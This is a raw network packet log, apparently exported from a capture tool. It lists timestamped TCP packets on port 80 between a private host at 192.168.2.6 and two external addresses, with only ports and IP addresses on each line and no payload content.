Dec 18, 2024 12:00:26.445811033 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.446805954 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.446846962 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.446938038 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.446976900 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.447859049 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.447906971 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.448014975 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.448059082 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.449006081 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.449067116 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.449109077 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.449182987 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.450089931 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.450130939 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.450148106 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.450196028 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.451147079 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.451216936 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.451241970 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.451287031 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.452243090 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.452296019 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.452307940 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.452343941 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.453336954 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.453380108 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.453416109 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.453455925 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.454447985 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.454503059 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.454535007 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.454582930 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.455523968 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.455591917 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.455631018 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.455672026 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.456661940 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.456785917 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.456810951 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.456826925 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.457707882 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.457746029 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.457834959 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.457875967 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.458815098 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.458937883 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.459038019 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.459095001 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.459877014 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.459938049 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.460031033 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.460079908 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.461040020 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.461091042 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.461150885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.461188078 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.462106943 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.462163925 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.462222099 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.462259054 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.463221073 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.463264942 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.463296890 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.463514090 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.464299917 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.464380026 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.464421034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.464464903 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.465394020 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.465436935 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.465509892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.465642929 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.466489077 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.466546059 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.466546059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.466581106 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.467566013 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.467611074 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.467685938 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.467729092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.468683004 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.468724966 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.468799114 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.468848944 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.469774008 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.469819069 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.469832897 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.469868898 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.470899105 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.470940113 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.471030951 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.471092939 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.472033024 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.472125053 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.472134113 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.472171068 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.473062038 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.473124027 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.473198891 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.473242998 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.474298954 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.474314928 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.474370956 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.474389076 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.475250959 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.475331068 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.475368977 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.475410938 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.476363897 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.476414919 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.476485968 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.476526022 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.477466106 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.477509975 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.477545023 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.477591991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.478537083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.478662014 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.478848934 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.479648113 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.479698896 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.479710102 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.479773045 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.480741024 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.480794907 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.480840921 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.480879068 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.481847048 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.481884956 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.481981039 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.482034922 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.483114004 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.483192921 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.483258963 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.483309031 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.483380079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.483392000 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.483433962 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.483592987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.483709097 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.483728886 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.483763933 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.484397888 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.484440088 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.484472990 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.484513044 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.484643936 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.484658003 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.484688997 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.484705925 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.485290051 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.485346079 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.485382080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.485416889 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.485537052 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.485629082 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.485673904 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.485996008 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.486040115 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.486073017 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.486131907 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.486449003 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.486522913 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.486603975 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.486618042 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.486649036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.486660957 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.486675024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.486705065 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.487133980 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.487180948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.487250090 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.487315893 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.487349987 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.487361908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.487394094 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.487870932 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.487920046 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.488081932 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.488123894 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.488368034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.488420963 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.488461018 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.488637924 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.488672018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.488683939 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.488712072 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.489375114 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.489418030 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.489492893 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.489506006 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.489545107 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.489545107 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.489629030 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.489681005 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.490173101 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.490267038 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.490298033 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.490335941 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.490557909 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.490600109 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.490906954 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.490947008 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.491012096 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.491051912 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.491688967 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.491739035 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.491774082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.491897106 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.492424011 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.492475033 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.492513895 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.492548943 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.493186951 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.493237019 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.493278027 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.493314981 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.493940115 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.493993044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.494026899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.494066954 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.494690895 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.494734049 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.494818926 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.494869947 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.495482922 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.495526075 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.495549917 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.495650053 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.496196032 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.496239901 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.496290922 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.496367931 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.496952057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.496995926 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.497035980 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.497076035 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.497703075 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.497746944 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.497852087 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.497886896 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.498449087 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.498502970 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.498564005 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.498629093 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.499233007 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.499301910 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.499377966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.499413967 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.555102110 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.624708891 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.624774933 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.624811888 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.624866962 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.625190020 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.625238895 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.625297070 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.625340939 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.626302004 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.626411915 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.626435995 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.626478910 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.627418041 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.627461910 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.627471924 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.627528906 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.628536940 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.628586054 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.628616095 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.628663063 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.629616022 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.629662037 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.629710913 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.629762888 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.630743027 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.630796909 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.630825996 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.630872011 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.631758928 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.631886005 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.631895065 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.631921053 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.632920980 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.632975101 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.633021116 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.633063078 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.633991003 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.634041071 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.634087086 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.634129047 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.635087967 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.635135889 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.635158062 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.635207891 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.636169910 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.636217117 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.636244059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.636284113 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.637303114 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.637347937 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.637460947 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.637505054 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.638484001 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.638528109 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.638799906 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.638840914 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.639470100 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.639513016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.639597893 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.639811039 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.640897036 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.640938997 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.641007900 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.641047001 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.642206907 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.642252922 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.642498970 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.642543077 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.643275023 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.643326998 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.643418074 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.643503904 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.644336939 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.644416094 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.644452095 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.644512892 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.645339012 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.645476103 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.645544052 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.645751953 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.646529913 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.646579981 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.646593094 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.646644115 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.647484064 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.647547007 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.647690058 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.647877932 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.648386955 CET	80	49950	185.215.113.16	192.168.2.6
